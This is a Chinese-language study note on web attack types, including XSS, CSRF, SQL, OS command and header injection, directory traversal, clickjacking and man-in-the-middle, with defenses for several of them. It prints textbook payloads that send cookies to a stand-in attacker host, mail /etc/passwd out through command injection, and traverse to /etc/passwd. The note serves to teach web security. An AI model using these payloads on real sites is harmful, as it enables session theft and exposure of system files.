跳到主要内容

Web 攻击

web 攻击

基础

不可信的客户端
  • 客户端可以自由变更和篡改 HTTP 请求;
  • 服务器将一切来自客户端的请求视为不可信的请求;
攻击模式
  • 主动攻击;
    • 攻击者主动访问 Web 应用,传入攻击代码;
      • SQL 注入;
      • OS 命令注入;
  • 被动攻击;
    • 攻击者设置陷阱代码,诱导用户触发,用户作为跳板进行攻击;
      • XSS;
      • CSRF;
防御策略
  • 客户端验证:作为 UI 提示,不可信;
  • 服务器验证;
    • 输入值验证:验证请求参数是否合规;
    • 输入值转义:将请求参数进行转义,避免攻击代码;
  • 浏览器和服务器的各种安全策略;

跨站攻击脚本 (XSS)

跨站攻击脚本
  • 被动攻击;
  • 攻击者预先设置陷阱代码,诱导用户访问;
  • 攻击者通过运行非法的 HTML 或 JS 进行攻击;
  • 目的是盗取用户信息;
# URL 非法导入 js 脚本
# 用户一旦点击该 URL, 发送自身 cookie 至指定网站
http://example.jp/login?ID="><script src=http://hackr.jp/xss.js></script>"

# xss.js
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
攻击类型
  • 存储型;
    • 攻击者将攻击代码提交到目标网站服务器;
    • 用户访问目标网站,服务器从服务器返回攻击代码,拼接在 HTML 中;
    • 用户解析 HTML 并执行其中的攻击代码;
  • 反射型;
    • 攻击者构造特殊的 URL;
    • 用户访问 URL,服务器从 URL 提取攻击代码,拼接在 HTML 中;
    • 用户解析 HTML 并执行其中的攻击代码;
  • DOM 型;
    • 攻击者构造特殊 URL;
    • 用户访问 URL,用户浏览器解析 URL ,并执行其中的攻击代码;
防范措施
  • 用户输入输出进行转义和验证;
  • 使用 CSP 技术;
  • cookie httpOnly 字段;

跨站点请求伪造 (CSRF)

CSRF
  • 被动攻击;
  • 攻击者设置陷阱代码,诱导用户访问第三方网站;
  • 第三方网站利用用户权限,作为跳板向被攻击网站发送跨站请求;
  • 被攻击网站误认为合法用户的合法请求,执行对应非法操作;
防范
  • 验证请求来源:基于 Refer 或者同源策略;
  • 使用 token;
    • 服务器基于随机生成的 token 验证用户身份;
    • CSRF 难以获取 token 的执行逻辑,无法携带正确 token,进而被服务器识别并拒绝;
  • 验证码:敏感操作进行验证码验证;
  • cookie SameSite 字段;
CSRF 和 XSS 的区别
  • XSS 攻击对象为用户,目的为获取用户敏感信息;
  • CSRF 攻击对象为应用程序,伪造用户身份执行非法操作;

注入攻击

sql 注入攻击
  • 服务器拼接 sql 存在漏洞;
  • 攻击者构造非法 sql;
  • 非法访问服务器资源;
# 正常情况
http://example.com/search?q= 上野宣
SELECT * FROM bookTbl WHERE author = ' 上野宣 ' and flag = 1;

# 构造非法 sql
# 访问到不应该访问的权限
http://example.com/search?q= 上野宣 ' --
SELECT * FROM bookTbl WHERE author =' 上野宣 ' - -' and flag=1;
os 命令注入攻击
  • 服务器执行系统命令存在漏洞;
  • 攻击者构造非法命令;
# 服务器调用命令行穿在安全漏洞
my $adr = $q->param('mailaddress');
open(MAIL, "¦ /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";

# 攻击者构造非法
; cat /etc/passwd ¦ mail hack@example.jp

# 系统执行命令
# ; 视为命令之间的分隔符, 导致非法执行 cat 之后的命令
¦ /usr/sbin/sendmail ; cat /etc/passwd ¦ mail hack@example.jp
HTTP 首部注入攻击
  • 被动攻击;
  • 攻击者在首部字段插入换行符;
  • 添加任意首部或主体;
# 通过 %0D%0A 换行符, 非法插入 Set-Cookie
%0D%0ASet-Cookie:+SID=123456789
# 通过 %0D%0A 换行符, 非法插入任意 HTML 网页
%0D%0A%0D%0A<HTML><HEAD><TITLE> 之后,想要显示的网页内容 <!--
邮件首部注入攻击
  • 被动攻击;
  • 通过邮件首部插入换行符;
  • 发送给任意对象或添加非法内容;
# 通过 %0D%0A%0D%0A 改写任意邮件首部
bob@hackr.jp%0D%0A%0D%0ATest Message
目录遍历攻击
  • 主动攻击;
  • 通过分析 URL,猜测文件目录;
  • 通过相对路径定位符或文件名访问非公开文件;
# ../../etc/passwd 访问上级文件夹中的 etc 文件
http://example.com/read.php?log=../../etc/passwd
远程文件包含漏洞
  • 主动攻击;
  • 服务器脚本使用外界 URL;
  • 攻击者制作陷阱 URL,诱导服务器执行;
  • 常见于 php;

设计缺陷

强制浏览漏洞

强制浏览
  • 强行访问非公开文件;
造成原因
  • 基于 URL 推测出文件名;
  • 使用软件默认文件名;
  • 访问资源未进行权限控制;

不正确的错误消息

  • 通过分析 web 应用返回的错误消息得到相关信息;
  • 返回编程语言,数据库,服务器等的默认报错信息,保留大量服务器信息;

开放重定向

  • 网站开放重定向功能;
  • 若重定向 URL 为恶意网站,gg;

其他安全漏洞

密码破解

  • 穷举;
  • 字典攻击;
  • 彩虹表:预先生成散列值表;

点击劫持 (Clickjacking)

  • 将 UI 透明,覆盖到 Web 页面上;
  • 诱导用户点击对应 UI,执行非法操作;

后门程序

  • 设置程序隐藏入口;
  • 通过非正常操作执行首先功能;

中间人攻击

中间人攻击
  • MITM;
  • 攻击者在两个终端之间插入自己的设备或程序;
  • 假扮身份与另一个终端通信;
  • 从而窃取数据或操纵通信内容;
防范措施
  • 使用 HTTPS,SSL/TLS 协议;
  • 避免使用公共网络;
  • 更新安全硬件,软件,防火墙,策略;
  • 避免使用未知连接,邮件,程序;